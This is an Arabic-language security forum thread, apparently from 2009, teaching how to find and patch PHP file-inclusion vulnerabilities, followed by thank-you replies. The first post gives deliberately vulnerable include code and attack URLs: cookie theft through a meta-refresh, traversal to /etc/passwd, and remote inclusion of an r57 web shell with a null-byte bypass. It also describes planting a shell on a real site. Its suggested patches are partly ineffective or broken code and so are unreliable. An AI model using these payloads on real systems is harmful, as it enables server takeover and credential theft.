TO DONATE : BTC => 1BU6R1C4AQ77LjLZswQNKFwAupw61i88Kn || PM => U4089661


اهم قوانين :1- منع الردود الباهتة مثل شكرااااا و أخواتها 2- لا يسمح بالمشاحنات الطائفية باآ شكل من الأشكال 3- عدم استعمال الألفاظ التافهة و الكلام البذىء 4- عدم وضع معرفات التواصل الأجتماعى بالردود 5- الأطلاع على كامل القوانين واجب 


العودة   الحماية للأبد -Security 4 Ever > قسم الحماية - Security section > أساسيات حماية وتطوير السكريبتات

أساسيات حماية وتطوير السكريبتات قسم يختص بسد ثغرات السكربتات وتطويرها

 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 31-10-2009, 05:08 PM
الصورة الرمزية CmOs_CLR
CmOs_CLR
C-H TeAm
 
حـالة التــواجـد : CmOs_CLR غير متواجد حالياً
تاريخ التسجيل: Oct 2009
الجــــنــــــس: ذكـر
المشاركات: 48
شكراً:80
تم شكره 230 مرة في 20 مشاركة
معدل تقييم المستوى: 10
CmOs_CLR على طريق التميز
Talking ثغرات الأنكلود اكتشافها و طريقة ترقيعها

بسم الله الرحمن الرحيم

السلام عليكم و رحمة الله و بركاته

من المؤكد ان الجميع قد سمع بهده الثغرات التى عرفت من اول ثغرات الأختراق و اشهرها لذلك لابد من شرح لها و لطرق اكتشافها و طرق ترقيعها لأنه لازلنا نرى الكثير من

المبرمجين يرتكبون اخطاء في اكوادهم من نوع ثغرات الأنكلود .

هنالك دوال كثيرة مسؤولة على هذا النوع من الثغرات تعتبر اهمها

كود:

include(); include_once(); require(); require_once(); file(); fopen(); file_get_contents();


فمثلا عندنا موقع يحتوى على 100 صفحة من بينها صفحة تحوى قائمة الأقسام للمنتدى و نريد ان تظهر القائمة في جميع صفحات الموقع فهنا يجب علينا استعمال احدى

الدوال السابقة لسحب صفحة القائمة الى الصفحة التى نريدها ان تظهر فيها لاحظ معى الكود التالى :

كود PHP:
<?php
//include.php
if(isset($_GET['page']))
   include(
$_GET['page']);
else
   echo 
"error 404 no page found" ;
?>
من هدا الكود نجد ان هناك متغير page يقوم بادراج صفحة داخل الصفحة التى تحتوى الكود السابق من خلال المتغير GET_$ الى هنا الأمور بسيطة بالنسبة للمستخدمين العادين

لكن بالنسبة للمتمرسين فهى شىء اخر فمن خلال هذا المتغير يمكن للمستخدم ان يقوم بادراج كود ضار بدل صفحة القائمة.

الحالة الطبيعية للكود هى بالشكل التالى :

كود PHP:
Include.php?page=menu.php 
حالة الكود الخبيث هى من الشكل التالى:

كود PHP:
Include.php?page=bad_code 
حيث bad_code يحتوى عدة انواع من المتغيرات:

1- اكواد HTML و هذا اقل الأستغلالات خطورة

2- ملفات موجودة بجانب ملف menu.php حتى ملفات النضام مثل

passwd فى انظمت اللينكس و SAM فى انظمة الويندوس

3-ضفحات ل back_door و shell و هذا هو اخطر استغلال

اذا راح يكون الأستغلال بالشكل التالى :
الحالة الأولى

كود PHP:
include.php?page=<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://site.com/cookies_steal.php"
الحالة الثانية :

كود PHP:
include.php?page=../../../etc/passwd 
الحالة الثالثة :

كود PHP:
include.php?page=http://site.com/r57.txt? 
و هكذا راح يفتح الشل مكان القائمة و اعتقد الكل يعرف تكملت الفلم التى غالبا ما تنتهى بسيطرة على سيرفر باكمله.

المهم في بعص الحالات يتم تحديد لنوع الملف الدى يتم ادراجه لاحظ معى الكود التالى :


كود PHP:
<?php
//include.php
if(isset($_GET['page'] . ".php" ))
   include(
$_GET['page']);
else
   echo 
"error 404 no page found" ;
?>
اي انه طلب ان تكون لا حقة الملف php و الا فلن يتم ادراج الملف ووجد تخطى لهذا المشكل باضافة بايت 0 في نهاية السطر اي الأستغلال راح ايكون بالشكل التالى:

كود PHP:
?include.php?page=http://site.com/r57.txt%00 
و السبب هو ان 00% تعتبر في لغة ال c دليل على انتهاء سطر الرموز و اغلب دوال الphp تعامل بواسطة برامج مبرمجة بال c اذا يتم التعامل مع اي شى قبلها

على اساس انه رموز اذا txt. تاخذ على اساس انها رموز و ليست لاحقة و في نفس الوقت 00% تهمل و هكذا يدرج شلنا :D

الى هنا تعرضنا لطرق ايجاد الثغرات اذا كان معنا الكود للملف و الأن سنتطرق الى محاولت ايجاد هذا النوع من

الثغرات من خلال التعامل بمحتويات المتغيرات في الصفحات و احداث اخطاء و لأناخذ مثلا موقع لنجرب عليه:



بعد ان ارفقت ملف غير موجود اساسا عرض لى الخطاء التالى
كود PHP:
Warning: require(a.txtconfigs/default.config.php) [function.require]: failed to open streamNo such file or directory in D:\iis.www\*******************************\reflect.php on line 60

Fatal error
: require() [function.require]: Failed opening required 'a.txtconfigs/default.config.php' (include_path='.;C:\Program Files\php\Include'in D:\iis.www\*******************************\reflect.php on line 60 
فنلاحظ ان الدالة المصابة هى()require


الأن لنجرب ارفاق مكان سكريبت شلنا و نرى :




كما لاحطتم تم عرص الشل داخل الموقع الى هنا انتهى شرح ثغرات الأنكلود ناتى لطريقة الترقيع

1- بالنسبة لأكواد ال HTML

توجد دالة تمنع هذا النوع من الأكواد الا و هى " htmlspecialchars " اذا راح ايصير كودنا كالتالى:

كود PHP:
include.php
<?php
//include.php
if(isset($_GET['page'] . ".php" ))
   include(
htmlspecialchars($_GET['page']));
else
   echo 
"error 404 no page found" ;
?>
بالنسبة لثغرات الأنكلود لدينا ايضا عدة حلول

1-نقوم بالتحقق من الملف اذا موجود حقا بواسطة دالة file_exists

2-تعريف المتغيرات قبل ادراجاها و استعمال حلقة ب if و هذه احسن طريقة

و ان كانت طويلة الكود لاحظ كيف يصير كودنا

كود PHP:

<?php
//include.php
//الملف الأول باسمه
if(isset($_GET['page'] == "header" ".php" ))
{
   include(
htmlspecialchars($_GET['page']));
}
//الملف الثانى باسمه
if(isset($_GET['page'] == "menu" ".php" ))

{

   include(
htmlspecialchars($_GET['page']));
}
//الملف التالث باسمه
if(isset($_GET['page'] == "Sec4ever" ".php" ))
{
   include(
htmlspecialchars($_GET['page']));
}
// و في حالة و لا ملف موجود ينتج لنا الخطاء
else
   echo 
"error 404 no page found" ;
//By C-H-TEAM
?>
و ان شاء الله ساتطرق لهذه الأشياء بالتفصيل في دورة الPHP فالى هنا ارجو ان اكون قد وفقت

جميع الحقوق محفوصة لموقع الحماية للأبد
كود:
www.sec4ever.com
دمتم في رعاية الله
 
رد مع اقتباس
  #2  
قديم 31-10-2009, 07:29 PM
الصورة الرمزية DeSpErAdO-Dz
DeSpErAdO-Dz
عضو جديد
 
حـالة التــواجـد : DeSpErAdO-Dz غير متواجد حالياً
تاريخ التسجيل: Oct 2009
الجــــنــــــس: ذكـر
المشاركات: 13
شكراً:1
تم شكره 2 مرة في مشاركة واحدة
معدل تقييم المستوى: 0
DeSpErAdO-Dz على طريق التميز
افتراضي

مشكووووووووووور
معلومات مفيدة للمبتدئين
ننتظر الدروس القادمة أجمل
:d  
رد مع اقتباس
  #3  
قديم 31-10-2009, 08:39 PM
الصورة الرمزية CmOs_CLR
CmOs_CLR
C-H TeAm
 
حـالة التــواجـد : CmOs_CLR غير متواجد حالياً
تاريخ التسجيل: Oct 2009
الجــــنــــــس: ذكـر
المشاركات: 48
شكراً:80
تم شكره 230 مرة في 20 مشاركة
معدل تقييم المستوى: 10
CmOs_CLR على طريق التميز
افتراضي

شكرا اخى على المرور الكريم و ان كنت اعتقد ان طريقة الترقيع مش للمبتدائين .  
رد مع اقتباس
  #4  
قديم 31-10-2009, 08:45 PM
الصورة الرمزية BL[4]CK GH[0]ST
BL[4]CK GH[0]ST
مشرف
 
حـالة التــواجـد : BL[4]CK GH[0]ST غير متواجد حالياً
تاريخ التسجيل: Oct 2009
مكـان الإقامـة : الحماية للأبد sec4ever.com
الجــــنــــــس: ذكـر
الــهـــوايـــــة: إعادة تشغيل الجهاز
المشاركات: 89
شكراً:26
تم شكره 37 مرة في 12 مشاركة
معدل تقييم المستوى: 11
BL[4]CK GH[0]ST على طريق التميز
افتراضي

مشكووور عل الموضوع الأكــــــثر من رائع
ننتظر جديدك بفارغ الصبر  

 

 

Don't Learn To Hack .but. Hack To Learn
For Exchange Experiences
BeHotmail.Fr

Always Crazy About WwW.SeC4EvEr.CoM
رد مع اقتباس
  #5  
قديم 04-11-2009, 11:15 PM
الصورة الرمزية Ma3sTr0-Dz
Ma3sTr0-Dz
:: Sec4ever#TG ::
 
حـالة التــواجـد : Ma3sTr0-Dz غير متواجد حالياً
تاريخ التسجيل: Nov 2009
الجــــنــــــس: ذكـر
المشاركات: 872
شكراً:816
تم شكره 366 مرة في 106 مشاركة
معدل تقييم المستوى: 10
Ma3sTr0-Dz على طريق التميز
افتراضي

بارك لله فيك ، درس مفيد للمبتدئين لآكن طريقة الترقيع خاصة نوعاً ما بالخبراء بالمجال و اصحاب المواقع المعنية  

 

 

One Team , One Love , One Heart
Sec4ever
رد مع اقتباس
  #6  
قديم 05-11-2009, 09:49 AM
الصورة الرمزية HaRd_HaKeRz
HaRd_HaKeRz
C-H TeAm
 
حـالة التــواجـد : HaRd_HaKeRz غير متواجد حالياً
تاريخ التسجيل: Oct 2009
الجــــنــــــس: ذكـر
المشاركات: 201
شكراً:510
تم شكره 279 مرة في 77 مشاركة
معدل تقييم المستوى: 11
HaRd_HaKeRz على طريق التميز
افتراضي

تسلم على الشرح حبيبي  
رد مع اقتباس
  #7  
قديم 01-02-2010, 11:44 PM
الصورة الرمزية VoLc4n0
VoLc4n0
عضو مميز
 
حـالة التــواجـد : VoLc4n0 غير متواجد حالياً
تاريخ التسجيل: Feb 2010
مكـان الإقامـة : خنجر الرعب
الجــــنــــــس: ذكـر
الــهـــوايـــــة: رايح جاي
المشاركات: 146
شكراً:74
تم شكره 29 مرة في 9 مشاركة
معدل تقييم المستوى: 11
VoLc4n0 على طريق التميز
افتراضي

بصراحه احب الشرح يلي بعتمد ع البرمجه بنفهم بشكل افضل بكثير

شكرا لك
 
رد مع اقتباس
  #8  
قديم 10-05-2010, 11:03 PM
الصورة الرمزية n4ss1m
n4ss1m
Ş4È´cΘđ3г
 
حـالة التــواجـد : n4ss1m غير متواجد حالياً
تاريخ التسجيل: Mar 2010
مكـان الإقامـة : DZ / 09
الجــــنــــــس: ذكـر
المشاركات: 1,287
شكراً:1,563
تم شكره 1,653 مرة في 343 مشاركة
معدل تقييم المستوى: 11
n4ss1m على طريق التميز
افتراضي

بارك الله فيك و الله غير 100% مفهوم .°  
رد مع اقتباس
  #9  
قديم 07-06-2010, 12:29 AM
الصورة الرمزية DZ-CRYPT
DZ-CRYPT
عضو مميز
 
حـالة التــواجـد : DZ-CRYPT غير متواجد حالياً
تاريخ التسجيل: Apr 2010
مكـان الإقامـة : QSDQSD
الجــــنــــــس: ذكـر
الــهـــوايـــــة: QSDQSDQ
المشاركات: 102
شكراً:81
تم شكره 18 مرة في 6 مشاركة
معدل تقييم المستوى: 10
DZ-CRYPT على طريق التميز
افتراضي

 

 

 

[SIGPIC][/SIGPIC]
رد مع اقتباس
  #10  
قديم 30-06-2010, 05:31 PM
الصورة الرمزية V!ru$_T4ckJ3n
V!ru$_T4ckJ3n
Linux Coder
 
حـالة التــواجـد : V!ru$_T4ckJ3n غير متواجد حالياً
تاريخ التسجيل: May 2010
مكـان الإقامـة : In The H3Ll
الجــــنــــــس: ذكـر
الــهـــوايـــــة: Hacking
المشاركات: 545
شكراً:306
تم شكره 348 مرة في 106 مشاركة
معدل تقييم المستوى: 10
V!ru$_T4ckJ3n على طريق التميز
افتراضي

بارك الله فيك اخي الكريم على هذا الشرح الرائع  
رد مع اقتباس

الكلمات الدلالية (Tags)
الأنكلود, اكتشافها, ترقيعها, ثغرات, ثغرة،أنكلود،اكتشاف،ترقيع, و, طريقة


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع


الساعة الآن 03:52 AM